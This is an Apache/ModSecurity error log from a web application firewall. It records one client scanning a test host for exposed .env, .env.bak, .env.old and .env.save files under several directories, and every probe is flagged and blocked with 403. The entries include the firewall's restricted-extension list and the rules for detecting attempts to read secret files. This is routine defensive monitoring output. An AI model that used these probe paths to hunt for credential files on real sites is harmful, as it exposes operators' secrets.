[Fri Oct 24 20:58:12.618738 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.618995 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.619158 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.685835 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.686028 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.686273 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.686461 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbSQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.032288 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.032546 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.032838 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.033080 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.182134 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.182468 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.182659 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbSwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.244748 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.245001 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.245182 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.289649 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.289845 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.290091 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.290264 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.469058 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.469240 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.469474 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.469632 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.533840 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.534090 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.534254 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbTwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:13.595115 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aPvMRaDAbBJ3ZgAeIEJbUAAAAAE&quot;], referer: https://www.google.com/
